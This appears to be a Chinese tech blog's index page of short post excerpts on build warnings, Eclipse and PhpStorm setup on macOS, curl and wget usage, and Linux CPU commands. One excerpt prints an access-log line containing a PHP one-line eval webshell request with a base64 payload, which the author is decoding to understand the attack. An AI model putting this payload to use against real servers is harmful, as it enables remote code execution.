编译gtest时报了一个警告错误,查询发现有人说重装clang,可是我不会重装,不想折腾一直是使用自动升级来更新xcode。
c++ -isystem ../../googletest/include -isystem ../include -g -Wall -Wextra -pthread -lpthread gmock_test.o gmock_main.a -o gmock_test
clang: warning: argument unused during compilation: '-pthread'
后来发现so上有一篇纪实,也就是说clang时编译时使用这个参数,链接的时候时不使用这个参数的,所以可以忽略这个警告。
clang requires -pthread when compiling but not when linking.
This is annoying...
最近,我大量阅读了Steve Yegge的文章。其中有一篇叫“Practicing Programming”(练习编程),写成于2005年,读后令我惊讶不已:
与你所相信的恰恰相反,单纯地每天埋头于工作并不能算是真正意义上的锻炼——参加会议并不能锻炼你的人际交往能力;回复邮件并不能提高你的打字水平。你必须定期留出时间,集中锻炼,这样才能把事情做得更好。
我认识很多杰出的程序员——这是在亚马逊工作最好的额外“福利”之一。如果仔细观察他们,你会发现他们时时都在锻炼。他们已经很优秀了,但他们仍然不忘锻炼。他们锻炼的方法林林总总,而我在这篇文章中...
本文将一步步介绍如何在osx下配置eclipse开发c++代码环境和使用实例
安装前准备
1.安装过java
2.安装过xcode
下载安装eclipse
访问eclipse网站下载mac版c++开发包,选择64bit,下载地址
也可以直接下载
http://eclipse.bluemix.net/packages/mars.1/data/eclipse-cpp-mars-1-macosx-cocoa-x86_64.tar.gz
启动eclipse
在终端中解压缩,然后会在压缩包的同级目录中得到Eclipse.app文件夹
tar -xvf eclipse-cpp-mars-1-macosx-cocoa-x86_64.tar
终端下进入Eclipse.app目录,启动eclipse
open -n Eclipse.app
第一次启动会弹出的对话框...
下周就要进入12月,一年中最后的一个月...
每年这个时候都会思绪万千,想总结一年的情况,哪些计划没有实现,实现了哪些计划,自己遇到了哪些好事哪些坏事。
对于我更多是想到的是,需要提高带领大家干活的能力,提高自己某一方面的深度能力。
就像和平常同学聚会一样,出来晒的都是做的好的。
一般人总结中都是晒晒自己的幸福,拿了多少钱,升了多少level,做了多少事。
大多数和我一样默默无闻的同学,也许只是仰望别的时候想想自己,呵呵之后,该干啥干啥,继续回到年复一年的工作中。
这一年别的没感觉,最大感觉是视力下降了不少...
mac安装java1.8之后打开phpstrom会报这个错误。
解决办法:
1.在终端下进入/Applications/PhpStorm.app/Contents目录,然后编辑Info.plist
2.修改JVMVersion的值为1.8
JVMVersion
1.8*
3.重新打开phpstrom
查看后台日至看到如下内容:
117.21.176.241 - - [13/Oct/2015:16:14:34 +0800] "POST / HTTP/1.1" "-" 200 53156 lemon=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOztwcmludCgiaGFvcmVuIik7O2VjaG8oInw8LSIpO2RpZSgpOw== "-" "-"
这段内容是有人在扫面后台,执行eval一句话攻击,想知道它干什么,base64_decode这个内容。
decode时注意POST里的%要还原回url_encode前的字符。例如,把%2B和%3D用urldecode()...
1. linux curl抓取网页:
抓取百度:
curl http://www.baidu.com
如发现乱码,可以使用iconv转码:
curl http://iframe.ip138.com/ic.asp|iconv -fgb2312
iconv的用法请参阅:在Linux/Unix系统下用iconv命令处理文本文件中文乱码问题
2. Linux curl使用代理:
linux curl使用http代理抓取页面:
curl -x 111.95.243.36:80 http://iframe.ip138.com/ic.asp|iconv -fgb2312
curl -x 111.95.243.36:80 -U aiezu:password http://www.baidu.com
使用socks代理抓取页面:
curl --socks4 202.113.65.229:443 http://iframe.ip138.com/ic.asp|...
el captian引入了7个新功能
对普通用户感受最大的应该是分屏功能和字体更换,
分屏功能是win下一直有的功能,放出来估计要堵住一些提供分配功能软件开发者的路了。
新字体对于粗体显示更加明显。
分屏功能使用方法:
按住全屏按钮1s会出现分屏区域,松手即可。
对于safari必须左右都有分屏窗口,如果一边有窗口,点击输入会触发全屏显示。
# 总核数 = 物理CPU个数 X 每颗物理CPU的核数
# 总逻辑CPU数 = 物理CPU个数 X 每颗物理CPU的核数 X 超线程数
# 查看物理CPU个数
cat /proc/cpuinfo| grep "physical id"| sort| uniq| wc -l
# 查看每个物理CPU中core的个数(即核数)
cat /proc/cpuinfo| grep "cpu cores"| uniq
# 查看逻辑CPU的个数
cat /proc/cpuinfo| grep "processor"| wc -l
# 查看CPU信息(型号)
cat /proc/cpuinfo | grep name | cut -f2 -d: | uniq -c
# 查看内 存信息
cat /proc/meminfo
free -g
# getconf LONG_BIT
32
(说明当前CPU运行在32bit模式下, 但不...
1.设置共享文件,把访问地址复制到chrome打开网页
2.在下载处点右键,复制下载地址
3.在SSH里输入
# wget -O 文件名.zip "把复制地址粘贴“
文件名.zip 可以任意命名,可以和下载的文件名不一样
例如我要下载文件名为:web.tar.gz
复制的地址:
http://www.baidupcs.com/file/d1e5fed96b131ee7e608d14a673edf42?fid=3373459577-250528-1657895455&time=1362149161&sign=FDTA-DCb740ccc5511e5e8fedcff06b081203-vTjW3QmCTiqMtarZZQwikQeGfb8%3D&expires=8h&sh=1&response-cache-control=private
完整命令:
# wget -O name.zip "http://w...